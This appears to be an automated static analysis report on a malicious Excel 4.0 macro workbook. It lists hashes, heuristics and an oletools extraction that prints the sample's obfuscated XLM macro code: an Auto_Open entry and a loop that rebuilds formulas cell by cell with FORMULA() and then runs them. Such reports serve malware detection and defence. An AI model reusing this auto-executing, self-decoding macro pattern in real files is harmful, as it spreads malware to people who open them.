Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f19df90bfc3b233…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:47 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: d6940b470f1d7c49ec351b6e10d8e8da SHA-1: 065966a9cafdd18e427f14238fcde95ca72df34e SHA-256: 5f19df90bfc3b233af349c2651aaf9bf33a641ca74e3b4a62415f96f746bc767
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6579 bytes
SHA-256: f1f112258bb6654b450426d45a56f96207456c3f803c30e6cfc0109b3ce85d1c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mjNZiO
' 0018     26 LABEL : Cell Value, String Constant - APrdNgsakDp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I161 
' 0018     27 LABEL : Cell Value, String Constant - CMNkxjMMaoin len=0 
' 0018     24 LABEL : Cell Value, String Constant - hnVmPMhER len=0 
' 0018     25 LABEL : Cell Value, String Constant - IjZvUqmjvJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - jCKLgYMRlKe len=0 
' 0018     21 LABEL : Cell Value, String Constant - KCWvPs len=0 
' 0018     25 LABEL : Cell Value, String Constant - ktVDDftnuY len=0 
' 0018     27 LABEL : Cell Value, String Constant - nHUqqHmMeWhz len=0 
' 0018     25 LABEL : Cell Value, String Constant - oKguGiIzAQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - SHLYIfak len=0 
' 0018     21 LABEL : Cell Value, String Constant - sOkPLv len=0 
' 0018     26 LABEL : Cell Value, String Constant - SrVIXIcTwQm len=0 
' 0018     23 LABEL : Cell Value, String Constant - TnAQhnNs len=0 
' 0018     20 LABEL : Cell Value, String Constant - UMmdI len=0 
' 0018     26 LABEL : Cell Value, String Constant - UzGBcSEleIS len=0 
' 0018     21 LABEL : Cell Value, String Constant - VSWskq len=0 
' 0018     23 LABEL : Cell Value, String Constant - vzqrhgJT len=0 
' 0018     24 LABEL : Cell Value, String Constant - WXuIsxinQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - wzRxv len=0 
' 0018     27 LABEL : Cell Value, String Constant - zSDDDcaltTKa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mjNZiO,I72,"SET.NAME("TnAQhnNs",VALUE("0"))",""
'  mjNZiO,I76,"SET.NAME("SrVIXIcTwQm",TnAQhnNs)",""
'  mjNZiO,I81,"SET.NAME("nHUqqHmMeWhz",TnAQhnNs)",""
'  mjNZiO,I86,"SET.NAME("jCKLgYMRlKe",COUNTA(APrdNgsakDp))",""
'  mjNZiO,I88,"SET.NAME("zSDDDcaltTKa",COUNTA(hnVmPMhER))",""
'  mjNZiO,I90,[],""
'  mjNZiO,I95,"SET.NAME("CMNkxjMMaoin","")",""
'  mjNZiO,I99,"SrVIXIcTwQm",""
'  mjNZiO,I103,"SET.NAME("VSWskq",HLOOKUP("*",APrdNgsakDp,SrVIXIcTwQm,FALSE))",""
'  mjNZiO,I106,"sOkPLv",""
'  mjNZiO,I108,"SET.NAME("ktVDDftnuY",TnAQhnNs)",""
'  mjNZiO,I111,[],""
'  mjNZiO,I115,"ktVDDftnuY",""
'  mjNZiO,I118,"wzRxv",""
'  mjNZiO,I121,"vzqrhgJT",""
'  mjNZiO,I126,"oKguGiIzAQ",""
'  mjNZiO,I131,"SET.NAME("KCWvPs",VALUE(HLOOKUP("*",hnVmPMhER,oKguGiIzAQ,FALSE)))",""
'  mjNZiO,I135,"IjZvUqmjvJ",""
'  mjNZiO,I138,"CMNkxjMMaoin",""
'  mjNZiO,I140,"nHUqqHmMeWhz",""
'  mjNZiO,I142,NEXT(),""
'  mjNZiO,I145,"WXuIsxinQ",""
'  mjNZiO,I147,"SET.NAME("f",INT(T(FORMULA(T(CMNkxjMMaoin)&"",""&T(WXuIsxinQ)))))",""
'  mjNZiO,I150,"UzGBcSEleIS",""
'  mjNZiO,I153,NEXT(),""
'  mjNZiO,I156,RETURN(),""
'  mjNZiO,I186,"SET.NAME("SHLYIfak",I72)",""
'  mjNZiO,I191,"APrdNgsakDp",""
'  mjNZiO,I193,"SET.NAME("hnVmPMhER",R76C12)",""
'  mjNZiO,I196,"SET.NAME("UzGBcSEleIS",204)",""
'  mjNZiO,I201,"SET.NAME("UMmdI",9)",""
'  mjNZiO,I203,SHLYIfak(),""
'  mjNZiO,I204,HALT(),""

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